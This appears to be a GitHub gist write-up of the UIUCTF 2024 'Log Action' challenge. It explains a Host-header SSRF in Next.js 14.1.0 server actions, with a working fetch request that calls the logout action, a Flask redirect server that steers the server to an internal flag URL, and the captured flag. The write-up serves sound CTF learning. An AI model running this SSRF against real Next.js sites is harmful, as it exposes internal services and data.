Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active July 1, 2024 19:39
Show Gist options
  • Save ky28059/6f7ef0a073b142a9ed5d460a930a9d1c to your computer and use it in GitHub Desktop.
Save ky28059/6f7ef0a073b142a9ed5d460a930a9d1c to your computer and use it in GitHub Desktop.

UIUCTF 2024 — Log Action

I keep trying to log in, but it's not working :'(

http://log-action.challenge.uiuc.tf/

We're given a simple Next.js + Next Auth site with a simple login / logout implementation:

"use client";
import { useFormStatus, useFormState } from "react-dom";
import { authenticate } from "@/lib/actions";

export default function LoginPage() {
  const [state, formAction] = useFormState(
    authenticate,
    undefined
  );

  const { pending } = useFormStatus();

  return (
    <>
      <div className="max-w-prose mx-auto flex flex-col gap-4">
        <p className="text-2xl font-bold">
          Login
        </p>
        <form action={formAction} className="flex flex-col gap-4">
          <label className="flex flex-col gap-1">
            <span>Username</span>
            <input
              type="username"
              id="username"
              name="username"
              placeholder="Enter your username"
              required
              minLength={3}
            />
          </label>
          <label className="flex flex-col gap-1">
            <span>Password</span>
            <input
              type="password"
              id="password"
              name="password"
              placeholder="Enter your password"
              required
              minLength={10}
            />
          </label>
          <button type="submit" disabled={pending}>
            Log in
          </button>
          {state ? (
            <span className="text-sm text-red-500">
              {state}
            </span>
          ) : null}
        </form>
      </div>
    </>
  )
}

The main idea here comes from the SSRF in server actions section of this blog.

Essentially, for Next.js < 14.1.1, calls to redirect() in server actions that use a relative path (ex. /path) will use the request's Host header to construct the absolute URL to redirect to. It then fetches this URL on the server to deliver to the client, resulting in SSRF.

Luckily, the challenge is running Next.js 14.1.0 and is therefore vulnerable to this attack!

    "next": "14.1.0",

First, we need to find a server action to call that always results in a redirect. Looking in /logout/page.tsx,

import Link from "next/link";
import { redirect } from "next/navigation";
import { signOut } from "@/auth";

export default function Page() {
  return (
    <>
      <h1 className="text-2xl font-bold">Log out</h1>
      <p>Are you sure you want to log out?</p>
      <Link href="/admin">
        Go back
      </Link>
      <form
        action={async () => {
          "use server";
          await signOut({ redirect: false });
          redirect("/login");
        }}
      >
        <button type="submit">Log out</button>
      </form>
    </>
  )
}

it looks like we can trigger this inline server action to do just that. We can manually call this action via

const formData = new FormData();
formData.set('1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de', '');
formData.set('0', '["$K1"]');

await (await fetch('http://log-action.challenge.uiuc.tf/logout', {
    method: 'POST',
    headers: {
        'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
        // 'Host': '...'
    },
    body: formData
})).text()

editing the Host header to the URL of our exploit server. We can look in the docker-compose file to find that the flag is statically hosted by nginx at http://backend/flag.txt:

version: '3'
services:
  frontend:
    build: ./frontend
    restart: always
    environment:
      - AUTH_TRUST_HOST=http://localhost:3000
    ports:
      - "3000:3000"
    depends_on:
      - backend
  backend:
    image: nginx:latest
    restart: always
    volumes:
      - ./backend/flag.txt:/usr/share/nginx/html/flag.txt

Then, we can set up a Flask server to redirect our redirect() call to that URL and invoke the logout action to get the flag.

from flask import Flask, Response, request, redirect
app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('http://backend/flag.txt')
uiuctf{close_enough_nextjs_server_actions_welcome_back_php}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment